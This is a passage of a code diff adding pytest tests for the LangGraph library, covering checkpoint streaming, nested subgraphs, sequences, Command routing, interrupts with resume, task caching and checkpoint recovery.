e in events if e["type"] == "checkpoint"]) + ) + if durability == "exit": + checkpoint_events = checkpoint_events[:1] + checkpoint_history = list(graph.get_state_history(config)) + + assert len(checkpoint_events) == len(checkpoint_history) + + def lax_normalize_config(config: dict | None) -> dict | None: + if config is None: + return None + return config["configurable"] + + for stream, history in zip(checkpoint_events, checkpoint_history): + assert stream["values"] == history.values + assert stream["next"] == list(history.next) + assert lax_normalize_config(stream["config"]) == lax_normalize_config( + history.config + ) + assert lax_normalize_config(stream["parent_config"]) == lax_normalize_config( + history.parent_config + ) + + assert len(stream["tasks"]) == len(history.tasks) + for stream_task, history_task in zip(stream["tasks"], history.tasks): + assert stream_task["id"] == history_task.id + assert stream_task["name"] == history_task.name + assert stream_task["interrupts"] == history_task.interrupts + assert stream_task.get("error") == history_task.error + assert stream_task.get("state") == history_task.state + + +def test_debug_nested_subgraphs( + sync_checkpointer: BaseCheckpointSaver, durability: Durability +): + from collections import defaultdict + + class State(TypedDict): + messages: Annotated[list[str], operator.add] + + def node(name): + def _node(state: State): + return {"messages": [f"entered {name} node"]} + + return _node + + grand_parent = StateGraph(State) + parent = StateGraph(State) + child = StateGraph(State) + + child.add_node("c_one", node("c_one")) + child.add_node("c_two", node("c_two")) + child.add_edge(START, "c_one") + child.add_edge("c_one", "c_two") + child.add_edge("c_two", END) + + parent.add_node("p_one", node("p_one")) + parent.add_node("p_two", child.compile()) + parent.add_edge(START, "p_one") + parent.add_edge("p_one", "p_two") + parent.add_edge("p_two", END) + + grand_parent.add_node("gp_one", node("gp_one")) + grand_parent.add_node("gp_two", parent.compile()) + grand_parent.add_edge(START, "gp_one") + grand_parent.add_edge("gp_one", "gp_two") + grand_parent.add_edge("gp_two", END) + + graph = grand_parent.compile(checkpointer=sync_checkpointer) + + config = {"configurable": {"thread_id": "1"}} + events = [ + *graph.stream( + {"messages": []}, + config=config, + stream_mode="debug", + subgraphs=True, + durability=durability, + ) + ] + + stream_ns: dict[tuple, dict] = defaultdict(list) + for ns, e in events: + if e["type"] == "checkpoint": + stream_ns[ns].append(e["payload"]) + + assert list(stream_ns.keys()) == [ + (), + (AnyStr("gp_two:"),), + (AnyStr("gp_two:"), AnyStr("p_two:")), + ] + + history_ns = { + ns: list( + graph.get_state_history( + {"configurable": {"thread_id": "1", "checkpoint_ns": "|".join(ns)}} + ) + )[::-1] + for ns in stream_ns.keys() + } + + def normalize_config(config: dict | None) -> dict | None: + if config is None: + return None + + clean_config = {} + clean_config["thread_id"] = config["configurable"]["thread_id"] + clean_config["checkpoint_id"] = config["configurable"]["checkpoint_id"] + clean_config["checkpoint_ns"] = config["configurable"]["checkpoint_ns"] + if "checkpoint_map" in config["configurable"]: + clean_config["checkpoint_map"] = config["configurable"]["checkpoint_map"] + + return clean_config + + for checkpoint_events, checkpoint_history, ns in zip( + stream_ns.values(), history_ns.values(), stream_ns.keys() + ): + if durability == "exit": + checkpoint_events = checkpoint_events[-1:] + if ns: # Save no checkpoints for subgraphs when durability="exit" + assert not checkpoint_history + continue + assert len(checkpoint_events) == len(checkpoint_history) + for stream, history in zip(checkpoint_events, checkpoint_history): + assert stream["values"] == history.values + assert stream["next"] == list(history.next) + assert normalize_config(stream["config"]) == normalize_config( + history.config + ) + assert normalize_config(stream["parent_config"]) == normalize_config( + history.parent_config + ) + + assert len(stream["tasks"]) == len(history.tasks) + for stream_task, history_task in zip(stream["tasks"], history.tasks): + assert stream_task["id"] == history_task.id + assert stream_task["name"] == history_task.name + assert stream_task["interrupts"] == history_task.interrupts + assert stream_task.get("error") == history_task.error + assert stream_task.get("state") == history_task.state + + +def test_add_sequence(): + class State(TypedDict): + foo: Annotated[list[str], operator.add] + bar: str + + def step1(state: State): + return {"foo": ["step1"], "bar": "baz"} + + def step2(state: State): + return {"foo": ["step2"]} + + # test raising if less than 1 steps + with pytest.raises(ValueError): + StateGraph(State).add_sequence([]) + + # test raising if duplicate step names + with pytest.raises(ValueError): + StateGraph(State).add_sequence([step1, step1]) + + with pytest.raises(ValueError): + StateGraph(State).add_sequence([("foo", step1), ("foo", step1)]) + + # test unnamed steps + builder = StateGraph(State) + builder.add_sequence([step1, step2]) + builder.add_edge(START, "step1") + graph = builder.compile() + result = graph.invoke({"foo": []}) + assert result == {"foo": ["step1", "step2"], "bar": "baz"} + stream_chunks = list(graph.stream({"foo": []})) + assert stream_chunks == [ + {"step1": {"foo": ["step1"], "bar": "baz"}}, + {"step2": {"foo": ["step2"]}}, + ] + + # test named steps + builder_named_steps = StateGraph(State) + builder_named_steps.add_sequence([("meow1", step1), ("meow2", step2)]) + builder_named_steps.add_edge(START, "meow1") + graph_named_steps = builder_named_steps.compile() + result = graph_named_steps.invoke({"foo": []}) + stream_chunks = list(graph_named_steps.stream({"foo": []})) + assert result == {"foo": ["step1", "step2"], "bar": "baz"} + assert stream_chunks == [ + {"meow1": {"foo": ["step1"], "bar": "baz"}}, + {"meow2": {"foo": ["step2"]}}, + ] + + builder_named_steps = StateGraph(State) + builder_named_steps.add_sequence( + [ + ("meow1", lambda state: {"foo": ["foo"]}), + ("meow2", lambda state: {"bar": state["foo"][0] + "bar"}), + ], + ) + builder_named_steps.add_edge(START, "meow1") + graph_named_steps = builder_named_steps.compile() + result = graph_named_steps.invoke({"foo": []}) + stream_chunks = list(graph_named_steps.stream({"foo": []})) + # filtered by output schema + assert result == {"bar": "foobar", "foo": ["foo"]} + assert stream_chunks == [ + {"meow1": {"foo": ["foo"]}}, + {"meow2": {"bar": "foobar"}}, + ] + + # test two sequences + + def a(state: State): + return {"foo": ["a"]} + + def b(state: State): + return {"foo": ["b"]} + + builder_two_sequences = StateGraph(State) + builder_two_sequences.add_sequence([a]) + builder_two_sequences.add_sequence([b]) + builder_two_sequences.add_edge(START, "a") + builder_two_sequences.add_edge("a", "b") + graph_two_sequences = builder_two_sequences.compile() + + result = graph_two_sequences.invoke({"foo": []}) + assert result == {"foo": ["a", "b"]} + + stream_chunks = list(graph_two_sequences.stream({"foo": []})) + assert stream_chunks == [ + {"a": {"foo": ["a"]}}, + {"b": {"foo": ["b"]}}, + ] + + # test mixed nodes and sequences + + def c(state: State): + return {"foo": ["c"]} + + def d(state: State): + return {"foo": ["d"]} + + def e(state: State): + return {"foo": ["e"]} + + def foo(state: State): + if state["foo"][0] == "a": + return "d" + else: + return "c" + + builder_complex = StateGraph(State) + builder_complex.add_sequence([a, b]) + builder_complex.add_conditional_edges("b", foo) + builder_complex.add_node(c) + builder_complex.add_sequence([d, e]) + builder_complex.add_edge(START, "a") + graph_complex = builder_complex.compile() + + result = graph_complex.invoke({"foo": []}) + assert result == {"foo": ["a", "b", "d", "e"]} + + result = graph_complex.invoke({"foo": ["start"]}) + assert result == {"foo": ["start", "a", "b", "c"]} + + stream_chunks = list(graph_complex.stream({"foo": []})) + assert stream_chunks == [ + {"a": {"foo": ["a"]}}, + {"b": {"foo": ["b"]}}, + {"d": {"foo": ["d"]}}, + {"e": {"foo": ["e"]}}, + ] + + +def test_runnable_passthrough_node_graph() -> None: + class State(TypedDict): + changeme: str + + async def dummy(state): + return state + + agent = dummy | RunnablePassthrough.assign(prediction=RunnableLambda(lambda x: x)) + + graph_builder = StateGraph(State) + + graph_builder.add_node("agent", agent) + graph_builder.add_edge(START, "agent") + + graph = graph_builder.compile() + + assert graph.get_graph(xray=True).to_json() == graph.get_graph(xray=False).to_json() + + +@pytest.mark.parametrize("subgraph_persist", [True, False]) +def test_parent_command( + sync_checkpointer: BaseCheckpointSaver, subgraph_persist: bool +) -> None: + from langchain_core.messages import BaseMessage + from langchain_core.tools import tool + + @tool(return_direct=True) + def get_user_name() -> Command: + """Retrieve user name""" + return Command(update={"user_name": "Meow"}, graph=Command.PARENT) + + subgraph_builder = StateGraph(MessagesState) + subgraph_builder.add_node("tool", get_user_name) + subgraph_builder.add_edge(START, "tool") + subgraph = subgraph_builder.compile(checkpointer=subgraph_persist) + + class CustomParentState(TypedDict): + messages: Annotated[list[BaseMessage], add_messages] + # this key is not available to the child graph + user_name: str + + builder = StateGraph(CustomParentState) + builder.add_node("alice", subgraph) + builder.add_edge(START, "alice") + graph = builder.compile(checkpointer=sync_checkpointer) + + config = {"configurable": {"thread_id": "1"}} + + assert graph.invoke( + {"messages": [("user", "get user name")]}, config, durability="exit" + ) == { + "messages": [ + _AnyIdHumanMessage( + content="get user name", additional_kwargs={}, response_metadata={} + ), + ], + "user_name": "Meow", + } + assert graph.get_state(config) == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage( + content="get user name", additional_kwargs={}, response_metadata={} + ), + ], + "user_name": "Meow", + }, + next=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "loop", + "step": 1, + "parents": {}, + }, + created_at=AnyStr(), + parent_config=None, + tasks=(), + interrupts=(), + ) + + +def test_interrupt_subgraph(sync_checkpointer: BaseCheckpointSaver): + class State(TypedDict): + baz: str + + def foo(state): + return {"baz": "foo"} + + def bar(state): + value = interrupt("Please provide baz value:") + return {"baz": value} + + child_builder = StateGraph(State) + child_builder.add_node(bar) + child_builder.add_edge(START, "bar") + + builder = StateGraph(State) + builder.add_node(foo) + builder.add_node("bar", child_builder.compile()) + builder.add_edge(START, "foo") + builder.add_edge("foo", "bar") + graph = builder.compile(checkpointer=sync_checkpointer) + + thread1 = {"configurable": {"thread_id": "1"}} + # First run, interrupted at bar + assert graph.invoke({"baz": ""}, thread1) + # Resume with answer + assert graph.invoke(Command(resume="bar"), thread1) + + +@pytest.mark.parametrize("resume_style", ["null", "map"]) +def test_interrupt_multiple( + sync_checkpointer: BaseCheckpointSaver, resume_style: Literal["null", "map"] +): + class State(TypedDict): + my_key: Annotated[str, operator.add] + + def node(s: State) -> State: + answer = interrupt({"value": 1}) + answer2 = interrupt({"value": 2}) + return {"my_key": answer + " " + answer2} + + builder = StateGraph(State) + builder.add_node("node", node) + builder.add_edge(START, "node") + + graph = builder.compile(checkpointer=sync_checkpointer) + thread1 = {"configurable": {"thread_id": "1"}} + + result = [e for e in graph.stream({"my_key": "DE", "market": "DE"}, thread1)] + assert result == [ + { + "__interrupt__": ( + Interrupt( + value={"value": 1}, + id=AnyStr(), + ), + ) + } + ] + + result = [ + event + for event in graph.stream( + Command( + resume="answer 1" + if resume_style == "null" + else {result[0]["__interrupt__"][0].id: "answer 1"}, + update={"my_key": " foofoo "}, + ), + thread1, + ) + ] + assert result == [ + { + "__interrupt__": ( + Interrupt( + value={"value": 2}, + id=AnyStr(), + ), + ) + } + ] + + assert [ + event + for event in graph.stream( + Command( + resume="answer 2" + if resume_style == "null" + else {result[0]["__interrupt__"][0].id: "answer 2"} + ), + thread1, + stream_mode="values", + ) + ] == [ + {"my_key": "DE foofoo "}, + {"my_key": "DE foofoo answer 1 answer 2"}, + ] + + +def test_interrupt_loop(sync_checkpointer: BaseCheckpointSaver): + class State(TypedDict): + age: int + other: str + + def ask_age(s: State): + """Ask an expert for help.""" + question = "How old are you?" + value = None + for _ in range(10): + value: str = interrupt(question) + if not value.isdigit() or int(value) < 18: + question = "invalid response" + value = None + else: + break + + return {"age": int(value)} + + builder = StateGraph(State) + builder.add_node("node", ask_age) + builder.add_edge(START, "node") + + graph = builder.compile(checkpointer=sync_checkpointer) + thread1 = {"configurable": {"thread_id": "1"}} + + assert [e for e in graph.stream({"other": ""}, thread1)] == [ + { + "__interrupt__": ( + Interrupt( + value="How old are you?", + id=AnyStr(), + ), + ) + } + ] + + assert [ + event + for event in graph.stream( + Command(resume="13"), + thread1, + ) + ] == [ + { + "__interrupt__": ( + Interrupt( + value="invalid response", + id=AnyStr(), + ), + ) + } + ] + + assert [ + event + for event in graph.stream( + Command(resume="15"), + thread1, + ) + ] == [ + { + "__interrupt__": ( + Interrupt( + value="invalid response", + id=AnyStr(), + ), + ) + } + ] + + assert [event for event in graph.stream(Command(resume="19"), thread1)] == [ + {"node": {"age": 19}}, + ] + + +def test_interrupt_functional( + sync_checkpointer: BaseCheckpointSaver, snapshot: SnapshotAssertion +) -> None: + @task + def foo(state: dict) -> dict: + return {"a": state["a"] + "foo"} + + @task + def bar(state: dict) -> dict: + return {"a": state["a"] + "bar", "b": state["b"]} + + @entrypoint(checkpointer=sync_checkpointer) + def graph(inputs: dict) -> dict: + fut_foo = foo(inputs) + value = interrupt("Provide value for bar:") + bar_input = {**fut_foo.result(), "b": value} + fut_bar = bar(bar_input) + return fut_bar.result() + + config = {"configurable": {"thread_id": "1"}} + # First run, interrupted at bar + assert graph.invoke({"a": ""}, config) == { + "__interrupt__": [ + Interrupt( + value="Provide value for bar:", + id=AnyStr(), + ) + ] + } + # Resume with an answer + res = graph.invoke(Command(resume="bar"), config) + assert res == {"a": "foobar", "b": "bar"} + + +def test_interrupt_task_functional( + sync_checkpointer: BaseCheckpointSaver, snapshot: SnapshotAssertion +) -> None: + @task + def foo(state: dict) -> dict: + return {"a": state["a"] + "foo"} + + @task + def bar(state: dict) -> dict: + value = interrupt("Provide value for bar:") + return {"a": state["a"] + value} + + @entrypoint(checkpointer=sync_checkpointer) + def graph(inputs: dict) -> dict: + fut_foo = foo(inputs) + fut_bar = bar(fut_foo.result()) + return fut_bar.result() + + config = {"configurable": {"thread_id": "1"}} + # First run, interrupted at bar + assert graph.invoke({"a": ""}, config) == { + "__interrupt__": [ + Interrupt( + value="Provide value for bar:", + id=AnyStr(), + ), + ] + } + # Resume with an answer + res = graph.invoke(Command(resume="bar"), config) + assert res == {"a": "foobar"} + + # Test that we can interrupt the same task multiple times + config = {"configurable": {"thread_id": "2"}} + + @entrypoint(checkpointer=sync_checkpointer) + def graph(inputs: dict) -> dict: + foo_result = foo(inputs).result() + bar_result = bar(foo_result).result() + baz_result = bar(bar_result).result() + return baz_result + + # First run, interrupted at bar + assert graph.invoke({"a": ""}, config) == { + "__interrupt__": [ + Interrupt( + value="Provide value for bar:", + id=AnyStr(), + ), + ] + } + # Provide resumes + graph.invoke(Command(resume="bar"), config) + assert graph.invoke(Command(resume="baz"), config) == {"a": "foobarbaz"} + + +def test_root_mixed_return() -> None: + def my_node(state: list[str]): + return [Command(update=["a"]), ["b"]] + + graph = StateGraph(Annotated[list[str], operator.add]) + + graph.add_node(my_node) + graph.add_edge(START, "my_node") + graph = graph.compile() + + assert graph.invoke([]) == ["a", "b"] + + +def test_dict_mixed_return() -> None: + class State(TypedDict): + foo: Annotated[str, operator.add] + + def my_node(state: State): + return [Command(update={"foo": "a"}), {"foo": "b"}] + + graph = StateGraph(State) + graph.add_node(my_node) + graph.add_edge(START, "my_node") + graph = graph.compile() + + assert graph.invoke({"foo": ""}) == {"foo": "ab"} + + +def test_command_pydantic_dataclass() -> None: + class PydanticState(BaseModel): + foo: str + + @dataclass + class DataclassState: + foo: str + + for State in (PydanticState, DataclassState): + + def node_a(state) -> Command[Literal["node_b"]]: + return Command( + update=State(foo="foo"), + goto="node_b", + ) + + def node_b(state): + return {"foo": state.foo + "bar"} + + builder = StateGraph(State) + builder.add_edge(START, "node_a") + builder.add_node(node_a) + builder.add_node(node_b) + graph = builder.compile() + assert graph.invoke(State(foo="")) == {"foo": "foobar"} + + +def test_command_with_static_breakpoints( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Test that we can use Command to resume and update with static breakpoints.""" + + class State(TypedDict): + """The graph state.""" + + foo: str + + def node1(state: State): + return { + "foo": state["foo"] + "|node-1", + } + + def node2(state: State): + return { + "foo": state["foo"] + "|node-2", + } + + builder = StateGraph(State) + builder.add_node("node1", node1) + builder.add_node("node2", node2) + builder.add_edge(START, "node1") + builder.add_edge("node1", "node2") + + graph = builder.compile(checkpointer=sync_checkpointer, interrupt_before=["node1"]) + config = {"configurable": {"thread_id": str(uuid.uuid4())}} + + # Start the graph and interrupt at the first node + graph.invoke({"foo": "abc"}, config) + result = graph.invoke(Command(resume="node1"), config) + assert result == {"foo": "abc|node-1|node-2"} + + +def test_multistep_plan(sync_checkpointer: BaseCheckpointSaver): + from langchain_core.messages import AnyMessage + + class State(TypedDict, total=False): + plan: list[str | list[str]] + messages: Annotated[list[AnyMessage], add_messages] + + def planner(state: State): + if state.get("plan") is None: + # create plan somehow + plan = ["step1", ["step2", "step3"], "step4"] + # pick the first step to execute next + first_step, *plan = plan + # put the rest of plan in state + return Command(goto=first_step, update={"plan": plan}) + elif state["plan"]: + # go to the next step of the plan + next_step, *next_plan = state["plan"] + return Command(goto=next_step, update={"plan": next_plan}) + else: + # the end of the plan + pass + + def step1(state: State): + return Command(goto="planner", update={"messages": [("human", "step1")]}) + + def step2(state: State): + return Command(goto="planner", update={"messages": [("human", "step2")]}) + + def step3(state: State): + return Command(goto="planner", update={"messages": [("human", "step3")]}) + + def step4(state: State): + return Command(goto="planner", update={"messages": [("human", "step4")]}) + + builder = StateGraph(State) + builder.add_node(planner) + builder.add_node(step1) + builder.add_node(step2) + builder.add_node(step3) + builder.add_node(step4) + builder.add_edge(START, "planner") + graph = builder.compile(checkpointer=sync_checkpointer) + + config = {"configurable": {"thread_id": "1"}} + + assert graph.invoke({"messages": [("human", "start")]}, config) == { + "messages": [ + _AnyIdHumanMessage(content="start"), + _AnyIdHumanMessage(content="step1"), + _AnyIdHumanMessage(content="step2"), + _AnyIdHumanMessage(content="step3"), + _AnyIdHumanMessage(content="step4"), + ], + "plan": [], + } + + +def test_command_goto_with_static_breakpoints( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Use Command goto with static breakpoints.""" + + class State(TypedDict): + """The graph state.""" + + foo: Annotated[str, operator.add] + + def node1(state: State): + return { + "foo": "|node-1", + } + + def node2(state: State): + return { + "foo": "|node-2", + } + + builder = StateGraph(State) + builder.add_node("node1", node1) + builder.add_node("node2", node2) + builder.add_edge(START, "node1") + builder.add_edge("node1", "node2") + + graph = builder.compile(checkpointer=sync_checkpointer, interrupt_before=["node1"]) + + config = {"configurable": {"thread_id": str(uuid.uuid4())}} + + # Start the graph and interrupt at the first node + graph.invoke({"foo": "abc"}, config) + result = graph.invoke(Command(goto=["node2"]), config) + assert result == {"foo": "abc|node-1|node-2|node-2"} + + +def test_parallel_node_execution(): + """Test that parallel nodes execute concurrently.""" + + class State(TypedDict): + results: Annotated[list[str], operator.add] + + def slow_node(state: State): + time.sleep(1) + return {"results": ["slow"]} + + def fast_node(state: State): + time.sleep(2) + return {"results": ["fast"]} + + builder = StateGraph(State) + builder.add_node("slow", slow_node) + builder.add_node("fast", fast_node) + builder.add_edge(START, "slow") + builder.add_edge(START, "fast") + + graph = builder.compile() + + start = time.perf_counter() + result = graph.invoke({"results": []}) + duration = time.perf_counter() - start + + # Fast node result should be available first + assert "fast" in result["results"][0] + + # Total duration should be less than sum of both nodes + assert duration < 3.0 + + +def test_multiple_interrupt_state_persistence( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Test that state is preserved correctly across multiple interrupts.""" + + class State(TypedDict): + steps: Annotated[list[str], operator.add] + + def interruptible_node(state: State): + first = interrupt("First interrupt") + second = interrupt("Second interrupt") + return {"steps": [first, second]} + + builder = StateGraph(State) + builder.add_node("node", interruptible_node) + builder.add_edge(START, "node") + + app = builder.compile(checkpointer=sync_checkpointer) + config = {"configurable": {"thread_id": "1"}} + + # First execution - should hit first interrupt + app.invoke({"steps": []}, config) + + # State should still be empty since node hasn't returned + state = app.get_state(config) + assert state.values == {"steps": []} + + # Resume after first interrupt - should hit second interrupt + app.invoke(Command(resume="step1"), config) + + # State should still be empty since node hasn't returned + state = app.get_state(config) + assert state.values == {"steps": []} + + # Resume after second interrupt - node should complete + result = app.invoke(Command(resume="step2"), config) + + # Now state should contain both steps since node returned + assert result["steps"] == ["step1", "step2"] + state = app.get_state(config) + assert state.values["steps"] == ["step1", "step2"] + + +def test_concurrent_execution_thread_safety(): + """Test thread safety during concurrent execution.""" + + class State(TypedDict): + counter: Annotated[int, operator.add] + + results = deque() # thread-safe queue + threads: list[threading.Thread] = [] + + def slow_node(state: State): + time.sleep(0.1) + return {"counter": 1} + + builder = StateGraph(State) + builder.add_node("node", slow_node) + builder.add_edge(START, "node") + graph = builder.compile() + + def run_graph(): + result = graph.invoke({"counter": 0}) + results.append(result) + + # Start multiple threads + for _ in range(10): + thread = threading.Thread(target=run_graph) + thread.start() + threads.append(thread) + + # Wait for all threads + for thread in threads: + thread.join() + + # Verify results are independent + assert len(results) == 10 + for result in results: + assert result["counter"] == 1 + + +def test_checkpoint_recovery( + sync_checkpointer: BaseCheckpointSaver, durability: Durability +): + """Test recovery from checkpoints after failures.""" + + class State(TypedDict): + steps: Annotated[list[str], operator.add] + attempt: int # Track number of attempts + + def failing_node(state: State): + # Fail on first attempt, succeed on retry + if state["attempt"] == 1: + raise RuntimeError("Simulated failure") + return {"steps": ["node1"]} + + def second_node(state: State): + return {"steps": ["node2"]} + + builder = StateGraph(State) + builder.add_node("node1", failing_node) + builder.add_node("node2", second_node) + builder.add_edge(START, "node1") + builder.add_edge("node1", "node2") + + graph = builder.compile(checkpointer=sync_checkpointer) + config = {"configurable": {"thread_id": "1"}} + + # First attempt should fail + with pytest.raises(RuntimeError): + graph.invoke( + {"steps": ["start"], "attempt": 1}, + config, + durability=durability, + ) + + # Verify checkpoint state + state = graph.get_state(config) + assert state is not None + assert state.values == {"steps": ["start"], "attempt": 1} # input state saved + assert state.next == ("node1",) # Should retry failed node + assert "RuntimeError('Simulated failure')" in state.tasks[0].error + + # Retry with updated attempt count + result = graph.invoke({"steps": [], "attempt": 2}, config, durability=durability) + assert result == {"steps": ["start", "node1", "node2"], "attempt": 2} + + # Verify checkpoint history shows both attempts + history = list(graph.get_state_history(config)) + if durability != "exit": + assert len(history) == 6 # Initial + failed attempt + successful attempt + else: + assert len(history) == 2 # error + success + + # Verify the error was recorded in checkpoint + failed_checkpoint = next(c for c in history if c.tasks and c.tasks[0].error) + assert "RuntimeError('Simulated failure')" in failed_checkpoint.tasks[0].error + + # Verify delete leaves it empty + graph.checkpointer.delete_thread(config["configurable"]["thread_id"]) + assert graph.checkpointer.get_tuple(config) is None + assert [*graph.get_state_history(config)] == [] + + +def test_multiple_updates_root() -> None: + def node_a(state): + return [Command(update="a1"), Command(update="a2")] + + def node_b(state): + return "b" + + graph = ( + StateGraph(Annotated[str, operator.add]) + .add_sequence([node_a, node_b]) + .add_edge(START, "node_a") + .compile() + ) + + assert graph.invoke("") == "a1a2b" + + # only streams the last update from node_a + assert [c for c in graph.stream("", stream_mode="updates")] == [ + {"node_a": ["a1", "a2"]}, + {"node_b": "b"}, + ] + + +def test_multiple_updates() -> None: + class State(TypedDict): + foo: Annotated[str, operator.add] + + def node_a(state): + return [Command(update={"foo": "a1"}), Command(update={"foo": "a2"})] + + def node_b(state): + return {"foo": "b"} + + graph = ( + StateGraph(State) + .add_sequence([node_a, node_b]) + .add_edge(START, "node_a") + .compile() + ) + + assert graph.invoke({"foo": ""}) == { + "foo": "a1a2b", + } + + # only streams the last update from node_a + assert [c for c in graph.stream({"foo": ""}, stream_mode="updates")] == [ + {"node_a": [{"foo": "a1"}, {"foo": "a2"}]}, + {"node_b": {"foo": "b"}}, + ] + + +def test_falsy_return_from_task(sync_checkpointer: BaseCheckpointSaver): + """Test with a falsy return from a task.""" + + @task + def falsy_task() -> bool: + return False + + @entrypoint(checkpointer=sync_checkpointer) + def graph(state: dict) -> dict: + """React tool.""" + falsy_task().result() + interrupt("test") + + configurable = {"configurable": {"thread_id": uuid.uuid4()}} + assert [ + chunk + for chunk in graph.stream( + {"a": 5}, configurable, stream_mode="debug", durability="exit" + ) + ] == [ + { + "payload": { + "config": { + "configurable": { + "checkpoint_id": AnyStr(), + "checkpoint_ns": "", + "thread_id": AnyStr(), + }, + }, + "metadata": { + "parents": {}, + "source": "input", + "step": -1, + }, + "next": [ + "graph", + ], + "parent_config": None, + "tasks": [ + { + "id": AnyStr(), + "interrupts": (), + "name": "graph", + "state": None, + }, + ], + "values": None, + }, + "step": -1, + "timestamp": AnyStr(), + "type": "checkpoint", + }, + { + "payload": { + "id": AnyStr(), + "input": { + "a": 5, + }, + "name": "graph", + "triggers": ("__start__",), + }, + "step": 0, + "timestamp": AnyStr(), + "type": "task", + }, + { + "payload": { + "id": AnyStr(), + "input": ( + (), + {}, + ), + "name": "falsy_task", + "triggers": ("__pregel_push",), + }, + "step": 0, + "timestamp": AnyStr(), + "type": "task", + }, + { + "payload": { + "error": None, + "id": AnyStr(), + "interrupts": [], + "name": "falsy_task", + "result": { + "__return__": False, + }, + }, + "step": 0, + "timestamp": AnyStr(), + "type": "task_result", + }, + { + "payload": { + "error": None, + "id": AnyStr(), + "interrupts": [ + { + "id": AnyStr(), + "value": "test", + }, + ], + "name": "graph", + "result": {}, + }, + "step": 0, + "timestamp": AnyStr(), + "type": "task_result", + }, + ] + assert [ + c + for c in graph.stream( + Command(resume="123"), + configurable, + stream_mode="debug", + durability="exit", + ) + ] == [ + { + "payload": { + "config": { + "configurable": { + "checkpoint_id": AnyStr(), + "checkpoint_ns": "", + "thread_id": AnyStr(), + }, + }, + "metadata": { + "parents": {}, + "source": "input", + "step": -1, + }, + "next": [ + "graph", + ], + "parent_config": None, + "tasks": [ + { + "id": AnyStr(), + "interrupts": ( + { + "id": AnyStr(), + "value": "test", + }, + ), + "name": "graph", + "state": None, + }, + ], + "values": None, + }, + "step": -1, + "timestamp": AnyStr(), + "type": "checkpoint", + }, + { + "payload": { + "id": AnyStr(), + "input": { + "a": 5, + }, + "name": "graph", + "triggers": ("__start__",), + }, + "step": 0, + "timestamp": AnyStr(), + "type": "task", + }, + { + "payload": { + "id": AnyStr(), + "input": ( + (), + {}, + ), + "name": "falsy_task", + "triggers": ("__pregel_push",), + }, + "step": 0, + "timestamp": AnyStr(), + "type": "task", + }, + { + "payload": { + "error": None, + "id": AnyStr(), + "interrupts": [], + "name": "graph", + "result": { + "__end__": None, + }, + }, + "step": 0, + "timestamp": AnyStr(), + "type": "task_result", + }, + { + "payload": { + "config": { + "configurable": { + "checkpoint_id": AnyStr(), + "checkpoint_ns": "", + "thread_id": AnyStr(), + }, + }, + "metadata": { + "parents": {}, + "source": "loop", + "step": 0, + }, + "next": [], + "parent_config": None, + "tasks": [], + "values": None, + }, + "step": 0, + "timestamp": AnyStr(), + "type": "checkpoint", + }, + ] + + +def test_multiple_interrupts_functional(sync_checkpointer: BaseCheckpointSaver): + """Test multiple interrupts with functional API.""" + + counter = 0 + + @task + def double(x: int) -> int: + """Increment the counter.""" + nonlocal counter + counter += 1 + return 2 * x + + @entrypoint(checkpointer=sync_checkpointer) + def graph(state: dict) -> dict: + """React tool.""" + + values = [] + + for idx in [1, 2, 3]: + values.extend([double(idx).result(), interrupt({"a": "boo"})]) + + return {"values": values} + + configurable = {"configurable": {"thread_id": str(uuid.uuid4())}} + graph.invoke({}, configurable) + graph.invoke(Command(resume="a"), configurable) + graph.invoke(Command(resume="b"), configurable) + result = graph.invoke(Command(resume="c"), configurable) + # `double` value should be cached appropriately when used w/ `interrupt` + assert result == { + "values": [2, "a", 4, "b", 6, "c"], + } + assert counter == 3 + + +def test_multiple_interrupts_functional_cache( + sync_checkpointer: BaseCheckpointSaver, cache: BaseCache +): + """Test multiple interrupts with functional API.""" + + counter = 0 + + @task(cache_policy=CachePolicy()) + def double(x: int) -> int: + """Increment the counter.""" + nonlocal counter + counter += 1 + return 2 * x + + @entrypoint(checkpointer=sync_checkpointer, cache=cache) + def graph(state: dict) -> dict: + """React tool.""" + + values = [] + + for idx in [1, 1, 2, 2, 3, 3]: + values.extend([double(idx).result(), interrupt({"a": "boo"})]) + + return {"values": values} + + configurable = {"configurable": {"thread_id": str(uuid.uuid4())}} + graph.invoke({}, configurable) + graph.invoke(Command(resume="a"), configurable) + graph.invoke(Command(resume="b"), configurable) + graph.invoke(Command(resume="c"), configurable) + graph.invoke(Command(resume="d"), configurable) + graph.invoke(Command(resume="e"), configurable) + result = graph.invoke(Command(resume="f"), configurable) + # `double` value should be cached appropriately when used w/ `interrupt` + assert result == { + "values": [2, "a", 2, "b", 4, "c", 4, "d", 6, "e", 6, "f"], + } + assert counter == 3 + + # should all be cached now + configurable = {"configurable": {"thread_id": str(uuid.uuid4())}} + graph.invoke({}, configurable) + graph.invoke(Command(resume="a"), configurable) + graph.invoke(Command(resume="b"), configurable) + graph.invoke(Command(resume="c"), configurable) + graph.invoke(Command(resume="d"), configurable) + graph.invoke(Command(resume="e"), configurable) + result = graph.invoke(Command(resume="f"), configurable) + # `double` value should be cached appropriately when used w/ `interrupt` + assert result == { + "values": [2, "a", 2, "b", 4, "c", 4, "d", 6, "e", 6, "f"], + } + assert counter == 3 + + # clear cache + double.clear_cache(cache) + + # should recompute now + configurable = {"configurable": {"thread_id": str(uuid.uuid4())}} + graph.invoke({}, configurable) + graph.invoke(Command(resume="a"), configurable) + graph.invoke(Command(resume="b"), configurable) + graph.invoke(Command(resume="c"), configurable) + graph.invoke(Command(resume="d"), configurable) + graph.invoke(Command(resume="e"), configurable) + result = graph.invoke(Command(resume="f"), configurable) + # `double` value should be cached appropriately when used w/ `interrupt` + assert result == { + "values": [2, "a", 2, "b", 4, "c", 4, "d", 6, "e", 6, "f"], + } + assert counter == 6 + + +def test_task_before_interrupt_resume( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Test that Command(resume=value) works correctly when a @task runs + before interrupt-producing tasks in an @entrypoint. + + The @task wrapper on both setup and ask is essential to reproduce the bug: + - @task on setup triggers a mid-step put_writes (creating a new pending_writes list) + - @task on ask means interrupt() runs in a child scratchpad that must + delegate to the parent for null resume consumption tracking + """ + + @entrypoint(checkpointer=sync_checkpointer) + def workflow(number_of_topics: int) -> dict: + @task + def setup() -> int: + return number_of_topics + + @task + def ask(question: str) -> str: + return 